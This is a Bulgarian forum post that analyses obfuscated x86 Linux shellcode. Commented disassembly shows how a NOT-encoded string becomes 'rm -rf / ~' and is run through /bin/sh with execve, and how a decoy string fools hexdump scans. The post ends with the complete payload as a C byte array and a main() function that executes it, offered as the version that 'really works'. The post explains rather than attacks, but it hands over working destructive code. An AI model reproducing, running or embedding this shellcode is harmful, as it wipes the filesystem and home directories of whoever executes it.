Уааа, второто е много хитро направено! Не че днешните gcc-та ще ти разрешат да си подменяш .text секцията и не че работи на x86_64, обаче е нагледен пример как се пише обфускиран код. Апропо не е еквивалент на rm -rf /, а на rm -rf / ~ (за всеки случай да ти се затрие home директорията ако не си суперпотребител аххаха).
08049560 <esp>:
8049560: eb 3e jmp 80495a0 <esp+0x40>
8049562: 5b pop %ebx
8049563: 31 c0 xor %eax,%eax
8049565: 50 push %eax
8049566: 54 push %esp
8049567: 5a pop %edx
8049568: 83 ec 64 sub $0x64,%esp
******** OTTUK: **********
804956b: 68 ff ff ff ff push $0xffffffff
8049570: 68 df d0 df d9 push $0xd9dfd0df
8049575: 68 8d 99 df 81 push $0x81df998d
804957a: 68 8d 92 df d2 push $0xd2df928d
804957f: 54 push %esp
8049580: 5e pop %esi
8049581: f7 16 notl (%esi)
8049583: f7 56 04 notl 0x4(%esi)
8049586: f7 56 08 notl 0x8(%esi)
8049589: f7 56 0c notl 0xc(%esi)
804958c: 83 c4 74 add $0x74,%esp
804958f: 56 push %esi
***** DOTUK: imame ffffffffdfd0dfd98d99df818d92dfd2 (bezsmislica) - NOT bezsmislicata stava rm -rf / ~\0\0\0
8049590: 8d 73 08 lea 0x8(%ebx),%esi
8049593: 56 push %esi
8049594: 53 push %ebx
8049595: 54 push %esp
8049596: 59 pop %ecx
8049597: b0 0b mov $0xb,%al
****** Pri pyrvoto "idvane" tuk izpylnqvame execve(...), pri vtoroto - exit() (kakto shte se vidi sled malko)*****
8049599: cd 80 int $0x80
804959b: 31 c0 xor %eax,%eax
804959d: 40 inc %eax
***** eax=0+1=1; jump tam deto e int 80h => xor eax,eax;inc eax;int80h = exit() (__NR_exit=1) *****
804959e: eb f9 jmp 8049599 <esp+0x39>
80495a0: e8 bd ff ff ff call 8049562 <esp+0x2>
************* TOVA OTDOLU NE E KOD A STRINGA /bin/sh\0-c\0\0\0 ***********
80495a5: 2f das
80495a6: 62 69 6e bound %ebp,0x6e(%ecx)
80495a9: 2f das
80495aa: 73 68 jae 8049614 <_end+0x5c>
80495ac: 00 2d 63 00 00 00 add %ch,0x63
********* PO-DOLNITE "cp -p /bin/sh /tmp/.beyond; ......." sa bezsmisleni i slujat za zabluda********************
С hexdump никъде няма да се намери "rm -rf", но ще се намери малоумния стринг най-отдолу.
Най-общо тая дивотия тика в стека първо /bin/sh, после -c, после една безсмислица, чиято инверсна (NOT) стойност прави rm -rf / ~. После сет-ва най-младшите 8 бита на EAX на 0xb (11, __NR_execve) - останалите са =0 оттам стойността на EAX=0xb.
После вика execve(глупостите от стека).
След което:
xor eax,eax // eax=0
inc eax // eax=1
jmp <adresa_deto_e_int80h_instrukciata>
Тъй като EAX==1 (__NR_exit), цялата тая глупост прави просто exit()
Това е много хитро написано, кефи
Беше изключително забавно да разбера какво прави
Ако искате обаче наистина да ви сработи трябва да пробвате така
char esp[] = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00";
void main()
{
void (*kur)()=esp;
kur();
}
Като силно ви съветвам преди опита да направите mv /bin/rm /bin/rm.test